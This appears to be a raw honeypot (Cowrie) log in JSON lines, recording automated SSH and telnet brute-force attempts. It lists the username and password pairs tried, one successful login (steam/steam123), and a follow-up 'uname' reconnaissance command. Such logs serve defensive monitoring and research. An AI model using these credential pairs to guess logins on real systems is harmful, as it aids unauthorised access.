{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:44.201295Z","src_ip":"103.75.199.4","session":"fc05613be657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:44.488098Z","src_ip":"103.75.199.4","session":"fc05613be657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:45.586610Z","src_ip":"103.75.199.4","session":"fc05613be657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.253.129.91","src_port":13148,"dst_ip":"10.17.0.5","dst_port":23,"session":"b359fe3cbc76","protocol":"telnet","message":"New connection: 58.253.129.91:13148 (10.17.0.5:23) [session: b359fe3cbc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:47.543520Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59152,"dst_ip":"10.17.0.5","dst_port":23,"session":"eacf258e874f","protocol":"telnet","message":"New connection: 50.6.8.71:59152 (10.17.0.5:23) [session: eacf258e874f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:25:59.682820Z"}
{"eventid":"cowrie.session.closed","duration":13.601566314697266,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:01.144898Z","src_ip":"58.253.129.91","session":"b359fe3cbc76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51076,"dst_ip":"159.203.135.109","dst_port":22,"session":"2970748fb9bd","protocol":"ssh","message":"New connection: 103.75.199.4:51076 (159.203.135.109:22) [session: 2970748fb9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:06.139838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:06.145742Z","src_ip":"103.75.199.4","session":"2970748fb9bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:06.240102Z","src_ip":"103.75.199.4","session":"2970748fb9bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:06.523988Z","src_ip":"103.75.199.4","session":"2970748fb9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:07.618618Z","src_ip":"103.75.199.4","session":"2970748fb9bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39676,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe8cef1b3542","protocol":"ssh","message":"New connection: 103.75.199.4:39676 (159.203.135.109:22) [session: fe8cef1b3542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:28.013610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:28.017460Z","src_ip":"103.75.199.4","session":"fe8cef1b3542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:28.108385Z","src_ip":"103.75.199.4","session":"fe8cef1b3542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:28.389733Z","src_ip":"103.75.199.4","session":"fe8cef1b3542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:29.484316Z","src_ip":"103.75.199.4","session":"fe8cef1b3542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.144142389297485,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:40.826868Z","src_ip":"50.6.8.71","session":"eacf258e874f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaeadf731c2a","protocol":"ssh","message":"New connection: 103.75.199.4:46006 (159.203.135.109:22) [session: eaeadf731c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:49.918953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:49.924101Z","src_ip":"103.75.199.4","session":"eaeadf731c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:50.016712Z","src_ip":"103.75.199.4","session":"eaeadf731c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:50.295726Z","src_ip":"103.75.199.4","session":"eaeadf731c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:26:51.390526Z","src_ip":"103.75.199.4","session":"eaeadf731c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":41580,"dst_ip":"10.17.0.5","dst_port":22,"session":"7236c01564f4","protocol":"ssh","message":"New connection: 78.40.37.143:41580 (10.17.0.5:22) [session: 7236c01564f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:11.732120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:11.736644Z","src_ip":"78.40.37.143","session":"7236c01564f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60672,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bbb4cf0f2e5","protocol":"ssh","message":"New connection: 103.75.199.4:60672 (159.203.135.109:22) [session: 3bbb4cf0f2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:11.751103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:11.756015Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:11.820292Z","src_ip":"78.40.37.143","session":"7236c01564f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:11.851609Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:12.139137Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2022!","message":"login attempt [root/Welcome2022!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:12.169833Z","src_ip":"78.40.37.143","session":"7236c01564f4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:12.384454Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:12.388550Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:12.489032Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:12.494597Z","src_ip":"103.75.199.4","session":"3bbb4cf0f2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:13.252931Z","src_ip":"78.40.37.143","session":"7236c01564f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44144,"dst_ip":"159.203.135.109","dst_port":22,"session":"559c3cb11d9e","protocol":"ssh","message":"New connection: 103.75.199.4:44144 (159.203.135.109:22) [session: 559c3cb11d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:33.517565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:33.521417Z","src_ip":"103.75.199.4","session":"559c3cb11d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:33.618030Z","src_ip":"103.75.199.4","session":"559c3cb11d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:33.913857Z","src_ip":"103.75.199.4","session":"559c3cb11d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:35.012837Z","src_ip":"103.75.199.4","session":"559c3cb11d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00558042526245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:39.243968Z","src_ip":"102.67.221.40","session":"0533c3fd1141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42878,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d095d97ab8c","protocol":"ssh","message":"New connection: 103.75.199.4:42878 (159.203.135.109:22) [session: 4d095d97ab8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:55.320541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:55.325306Z","src_ip":"103.75.199.4","session":"4d095d97ab8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:27:55.421093Z","src_ip":"103.75.199.4","session":"4d095d97ab8c","protocol":"ssh"}
